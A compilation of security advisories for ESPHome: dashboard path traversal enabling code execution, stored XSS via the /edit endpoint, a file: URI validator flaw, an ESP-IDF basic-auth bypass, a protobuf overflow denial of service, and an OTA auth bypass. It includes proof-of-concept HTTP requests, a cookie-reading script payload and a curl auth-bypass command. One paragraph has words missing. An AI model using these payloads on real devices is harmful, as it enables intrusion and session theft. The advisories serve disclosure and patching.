Summary Security misconfiguration in edit configuration file API in dashboard component of ESPHome version 2023.12.9 (command line installation) allows authenticated remote attackers to read and write arbitrary files under the configuration directory rendering remote code execution possible.

Details It is possible to abuse this path traversal vulnerability both in command line installation and Home Assistant add-on, but it is possible to read and write files only under the configuration directory.

The vulnerability is present and exploitable in the command line installation, but it was not possible to confirm an impact in the home assistant add-on version.

PoC <img width="482" alt="/edit?configuration=/config/.esphome/esphome.json" src="https://github.com/esphome/esphome/assets/115887876/d2da3180-976e-4bed-b4b9-35ac960a7fb4"> <br/>

<img width="344" alt="/edit?configuration=/config/.esphome/build/test01/src/main.cpp (firmware for board named test01)" src="https://github.com/esphome/esphome/assets/115887876/707fb6d7-d4a8-461e-bbb7-05382471e925"> <br/>

<img width="482" alt="RCE payload POST request on /edit?configuration=.esphome/platformio/packages/tool-esptoolpy/esptool.py" src="https://github.com/esphome/esphome/assets/115887876/c6cb28d8-352d-4fea-b77a-705f63be94e3"> <br/>

<img width="482" alt="Arbitrary code execution during ESP board flashing" src="https://github.com/esphome/esphome/assets/115887876/5eb0f14c-ceb2-4b15-8898-c02c610763d1">

Impact The issue gives read and write access to files under the configuration directory and allows malicious users to write arbitrary code in python scripts executed during the compilation and flashing of firmwares for ESP boards.

If chained with GHSA-9p43-hj5j-96h5 and GHSA-5925-88xh-6h99, this issue could allow an unauthenticated remote user to gain remote code execution on the machine hosting the dashboard.

It also allows accessing sensitive information such as esphome.json and board firmware source code allowing a user to modify the board firmware, and leaking secrets such as: WiFi network credentials, fallback hotspot WiFi credentials, OTA component authentication password and API encryption key.

Credits Spike Reply Cybersecurity Team

Summary Edit configuration file API in dashboard component of ESPHome version 2023.12.9 (command line installation and Home Assistant add-on) serves unsanitized data with “Content-Type: text/html; charset=UTF-8”, allowing remote authenticated user to inject arbitrary web script and exfiltrate session cookies via Cross-Site scripting (XSS).

Credits Spike Reply Cybersecurity Teams

Details It is possible for a malicious authenticated user to inject arbitrary Javascript in configuration files using a POST request to the /edit endpoint, the configuration parameter allows to specify the file to write.

To trigger the XSS vulnerability, the victim must visit the page /edit?configuration=[xss file].

PoC

To reproduce the issue, it is possible to perform a POST request to inject the payload:

request: POST /edit?configuration=xss.yaml HTTP/1.1 Host: localhost:6052 User-Agent: Mozilla/5.0 (X11; Linux x8664; rv:109.0) Gecko/20100101 Firefox/116.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://localhost:6052/ Connection: close Cookie: authenticated=[replace with valid cookie] Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Content-Length: 40 <script>alert(document.cookie);</script>

response: HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Thu, 30 Nov 2023 11:02:27 GMT Content-Length: 0 Connection: close

And subsequently trigger the XSS with a GET request to the same endpoint:

request: GET /edit?configuration=xss.yaml HTTP/1.1 Host: localhost:6052 User-Agent: Mozilla/5.0 (X11; Linux x8664; rv:109.0) Gecko/20100101 Firefox/116.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://localhost:6052/ Connection: close Cookie: authenticated=2|1:0|10:1701341719|13:authenticated|4:eWVz|0907127d7274094cc5a2490b95becf5c11fd52b8c3ee3655d65fe9fda099108c Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Content-Length: 0

response: HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Thu, 30 Nov 2023 11:04:12 GMT Etag: "ec6c9889f5c9a6c8e9d2d5e4ce1b1a85e6e7da2b" Content-Length: 40 Connection: close <script>alert(document.cookie);</script>

Impact Abusing this vulnerability a malicious actor could perform operations on the dashboard on the behalf of a logged user, access sensitive information, create, edit and delete configuration files and flash firmware on managed boards. In addition to this, cookies are not correctly secured, allowing the exfiltration of session cookie values.

Credits Spike Reply Cybersecurity Team

ESPHome through 2026.7.0-dev contains an operator-precedence bug in the cv.url validator in esphome/configvalidation.py. Because binds tighter than , any file: URI passes validation regardless of netloc. This validator gates the field of the externalcomponents YAML directive's git source schema, which is passed to (git supports file:// natively).

Summary On the ESP-IDF platform, ESPHome's webserver authentication check can pass incorrectly when the client-supplied base64-encoded Authorization value is empty or is a substring of the correct value (e.g., correct username with partial password). This allows access to webserver functionality (including OTA, if enabled) without knowing any information about the correct username or password.

Details The HTTP basic auth check in webserveridf's AsyncWebServerRequest::authenticate only compares up to auth.value().size() - authprefixlen bytes of the base64-encoded user:pass string. This means a client-provided valuer like dXNlcjpz (user:s) will pass the check when the correct value is much longer, e.g., dXNlcjpzb21lcmVhbGx5bG9uZ3Bhc3M= (user:somereallylongpass).

Furthermore, the check will also pass when the supplied value is the empty string, which removes the need to know (or brute force) the username. A browser won't generally issue such a request, but it can easily be done by manually constructing the Authorizaztion request header (e.g., via curl).

PoC Configure ESPHome as follows:

yaml esp32: board: ... framework: type: esp-idf webserver: auth: username: user password: somereallylongpass

In a browser, you can correctly log in by supplying username user and password somereallylongpass... but you can also incorrectly log in by supplying substrings of the password whose base64-encoded digest matches a prefix of the correct digest. (For example, I was able to log into an ESPHome device so configured by supplying password some... or even just s.)

You can also use a tool like curl to manually set an Authorization request header that always passes the check without any knowledge of the username:

$ curl -D- http://example.local/ HTTP/1.1 401 Unauthorized ...

$ curl -D- -H 'Authorization: Basic ' http://example.local/ HTTP/1.1 200 OK ...

Impact This vulnerability effectively nullifies basic auth support for the ESP-IDF webserver, allowing auth bypass from another device on the local network with no knowledge of the correct username or password required.

Remediation This vulnerability is fixed in 2025.8.1 and later.

For older versions, disabling the webserver component on ESP-IDF devices may be prudent, particularly if OTA updates through webserver are enabled.

Summary An integer overflow in the API component's protobuf decoder allows denial-of-service attacks when API encryption is not used.

Details The bounds check ptr + fieldlength > end in components/api/proto.cpp can overflow when a malicious client sends a large fieldlength value. This affects all ESPHome device platforms (ESP32, ESP8266, RP2040, LibreTiny). The overflow bypasses the out-of-bounds check, causing the device to read invalid memory and crash.

When using the plaintext API protocol, this attack can be performed without authentication. When noise encryption is enabled, knowledge of the encryption key is required.

Affected Versions ESPHome 2025.9.0 through 2025.12.6

Mitigation - Upgrade to ESPHome 2025.12.7 or later (or 2026.1.0b3 or later) - Enable API encryption with a unique key per device - Follow the Security Best Practices

Severity Low - Users following Security Best Practices with API encryption enabled are not affected without knowledge of the encryption key.

Impact Denial-of-service. An attacker with network access to port 6053 can crash and reboot the device.

Credits Thanks to @Mat931 for responsibly reporting this vulnerability.

Impact

Anyone with webserver enabled and HTTP basic auth configured on 2021.9.1 or older

webserver allows OTA update without checking user defined basic auth username & password

Patches

Patch released in 2021.9.2

Workarounds

Disable/remove webserver